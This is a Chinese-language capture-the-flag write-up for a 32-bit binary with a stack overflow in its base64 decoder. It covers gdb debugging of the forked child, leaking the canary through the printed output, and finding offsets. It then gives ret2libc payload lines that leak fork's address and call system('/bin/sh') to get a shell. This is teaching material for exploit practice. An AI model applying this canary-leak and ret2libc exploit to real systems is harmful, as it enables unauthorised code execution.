hxb的pwn1
 
hxb的pwn1
0x00 题目分析
首先IDA分析题目
int __cdecl main()
{
char v1; // [esp+1Bh] [ebp-5h]
__pid_t v2; // [esp+1Ch] [ebp-4h]
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("I am a simple program");
while ( 1 )
{
puts("\nMay be I can know if you give me some data[Y/N]");
if ( getchar() != 'Y' )
break;
v1 = getchar();
while ( v1 != 10 && v1 )
;
v2 = fork();
if ( !v2 )
{
sub_8048B29();
puts("Finish!");
exit(0);
}
if ( v2 <= 0 )
{
if ( v2 == -1 )
{
puts("Something Wrong");
exit(0);
}
}
else
{
wait(0);
}
}
return 0;
}
程序的主要逻辑,fork执行函数sub_8048B29,再来看一下sub_8048B29
unsigned int sub_80487E6()
{
char *v0; // edx
unsigned int v1; // ebx
char *v2; // edi
char *v3; // edx
int v4; // eax
int v5; // eax
int v6; // eax
unsigned __int8 i; // [esp+17h] [ebp-121h]
unsigned __int8 j; // [esp+17h] [ebp-121h]
unsigned __int8 k; // [esp+17h] [ebp-121h]
unsigned __int8 l; // [esp+17h] [ebp-121h]
int ii; // [esp+18h] [ebp-120h]
int v13; // [esp+1Ch] [ebp-11Ch]
int v14; // [esp+1Ch] [ebp-11Ch]
int v15; // [esp+1Ch] [ebp-11Ch]
char *input; // [esp+20h] [ebp-118h]
unsigned __int8 s; // [esp+27h] [ebp-111h]
unsigned __int8 v18; // [esp+28h] [ebp-110h]
unsigned __int8 v19; // [esp+29h] [ebp-10Fh]
unsigned __int8 v20; // [esp+2Ah] [ebp-10Eh]
char base64_result[257]; // [esp+2Bh] [ebp-10Dh]
unsigned int v22; // [esp+12Ch] [ebp-Ch]
v22 = __readgsdword(0x14u);
input = (char *)malloc(0x201u);
v0 = base64_result;
v1 = 0x101;
if ( (unsigned int)base64_result & 1 )
{
base64_result[0] = 0;
v0 = &base64_result[1];
v1 = 256;
}
if ( (unsigned __int8)v0 & 2 )
{
*(_WORD *)v0 = 0;
v0 += 2;
v1 -= 2;
}
memset(v0, 0, 4 * (v1 >> 2));
v2 = &v0[4 * (v1 >> 2)];
v3 = &v0[4 * (v1 >> 2)];
if ( v1 & 2 )
{
*(_WORD *)v2 = 0;
v3 = v2 + 2;
}
if ( v1 & 1 )
*v3 = 0;
read_80486FD(input, 0x200u);
ii = 0;
v13 = 0;
while ( input[ii] )
{
memset(&s, 255, 4u);
for ( i = 0; i <= 0x3Fu; ++i )
{
if ( base64_804A050[i] == input[ii] )
s = i;
}
for ( j = 0; j <= 0x3Fu; ++j )
{
if ( base64_804A050[j] == input[ii + 1] )
v18 = j;
}
for ( k = 0; k <= 0x3Fu; ++k )
{
if ( base64_804A050[k] == input[ii + 2] )
v19 = k;
}
for ( l = 0; l <= 0x3Fu; ++l )
{
if ( base64_804A050[l] == input[ii + 3] )
v20 = l;
}
v4 = v13;
v14 = v13 + 1;
base64_result[v4] = (v18 >> 4) & 3 | 4 * s;
if ( input[ii + 2] == '=' )
break;
v5 = v14;
v15 = v14 + 1;
base64_result[v5] = (v19 >> 2) & 0xF | 16 * v18;
if ( input[ii + 3] == '=' )
break;
v6 = v15;
v13 = v15 + 1;
base64_result[v6] = v20 & 0x3F | (v19 << 6);
ii += 4;
}
printf("Result is:%s\n", base64_result);
return __readgsdword(0x14u) ^ v22;
}
上面函数的主要功能就是解密base64,漏洞点如下:
1.read_80486FD(input, 0x200u);
在输入0x200的base64字符串,解密之后的大小为0x200/4*3 = 0x180
2.char base64_result[257]; // [esp+2Bh] [ebp-10Dh]
解密结果缓冲区的大小为0x101,这会发生栈溢出
0x01 漏洞分析和利用
我们要解决的问题,Canary保护,这个很重要否则栈溢出会失败,这里有几个点需要了解
1.fork进程的调试,如何跟踪子进程和父进程
2.fork的子进程和父进程之间的资源共享,所以我们通过一次合适溢出将canary的leak出(最后会打印base64结果),然后下一次溢出劫持控制流
3.怎么样获取system地址,启动shell
使用gdb调试fork,可以如下设置,这样会跟踪子进程
set follow-fork-mode chird
set detach-on-fork off
可以使用如下的命令完成父子进程的之前的切换
info inferiors 查看调试进程
inferiors num 切换调试进程
因为fork的子进程和父进程之间的资源共享,我们就可以构造泄露canary,我们首先使用pattern.py生成一个长度为0x180的畸形字符串,然后base64加密,具体如下
root@ubuntu:~/pwn# python pattern.py create 384
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7
[──────────────────────────────────REGISTERS───────────────────────────────────]
*EAX 0x36694135 ('5Ai6')
EBX 0x0
*ECX 0xffffffff
*EDX 0xf76ff870 (_IO_stdfile_1_lock) ◂— 0x0
*EDI 0xffb14a6c ◂— 0x36694135 ('5Ai6')
*ESI 0xf76fe000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
*EBP 0xffb14a78 ◂— 0x306a4139 ('9Aj0')
*ESP 0xffb14940 —▸ 0x8048d2a ◂— push edx /* 'Result is:%s\n' */
*EIP 0x8048b11 ◂— xor eax, dword ptr gs:[0x14]
[────────────────────────────────────DISASM────────────────────────────────────]
► 0x8048b11 xor eax, dword ptr gs:[0x14]
0x8048b18 je 0x8048b1f
↓
0x8048b1f add esp, 0x130
0x8048b25 pop ebx
0x8048b26 pop edi
0x8048b27 pop ebp
0x8048b28 ret
0x8048b29 push ebp
0x8048b2a mov ebp, esp
0x8048b2c sub esp, 8
0x8048b2f call 0x80487e6
[────────────────────────────────────STACK─────────────────────────────────────]
00:0000│ esp 0xffb14940 —▸ 0x8048d2a ◂— push edx /* 'Result is:%s\n' */
01:0004│ 0xffb14944 —▸ 0xffb1496b ◂— 0x41306141 ('Aa0A')
02:0008│ 0xffb14948 ◂— 0x4
03:000c│ 0xffb1494c —▸ 0xffb149c8 ◂— 0x41316441 ('Ad1A')
04:0010│ 0xffb14950 —▸ 0xffb14a10 ◂— 0x41356641 ('Af5A')
05:0014│ 0xffb14954 ◂— 0x4072db6b
06:0018│ 0xffb14958 ◂— 0x200
07:001c│ 0xffb1495c ◂— 0x180
[──────────────────────────────────BACKTRACE───────────────────────────────────]
► f 0 8048b11
f 1 41316a41
f 2 6a41326a
f 3 346a4133
f 4 41356a41
f 5 6a41366a
f 6 386a4137
f 7 41396a41
f 8 6b41306b
f 9 326b4131
f 10 41336b41
Breakpoint *0x08048B11
pwndbg>
这时候的eax寄存器中的值就是Canary的值,我们使用pattern.py计算一下偏移,具体如下
root@ubuntu:~/pwn# python pattern.py offset 5Ai6
257
这里要加1因为Canary的最高位的值是\x00,打印的时候会截断,不会输出后面的Canary
下面我们就可以通过同样的方法,找到返回地址的偏移,我在这里就不详细说明了,返回地址的偏移是273
下面就可以正式编辑exp了,现在我们可以控制返回地址,下面我们就可以填充shellcode了,但是由于程序开启的NX,所以我们要使用ret2libc技术,首先我们要获取system函数地址,具体构造如下
pay = "P"*257+p32(canary)+"p"*12+p32(put_plt)+p32(0xffffffff)+p32(fork_got)
这样可以将fork函数的地址打印出来,然后我们可以通过如下计算获取到system_addr和binsh_addr。
system_addr = fork_addr - libc.symbols['fork']+libc.symbols['system']
binsh_addr = fork_addr - libc.symbols['fork']+next(libc.search("/bin/sh\x00"))
最后按照上面的pay可以构造执行system(”/bin/sh”),具体如下:
payload = "P"*257+p32(canary)+"P"*12+p32(system_addr)+p32(0xffffffff)+p32(binsh_addr)
最后即可拿到shell,结果如下图:
0x03 总结
这道题让我们主要学习的到有以下两点
1.怎么是用gdb调试多线程fork
2.怎么绕过canary完成栈溢出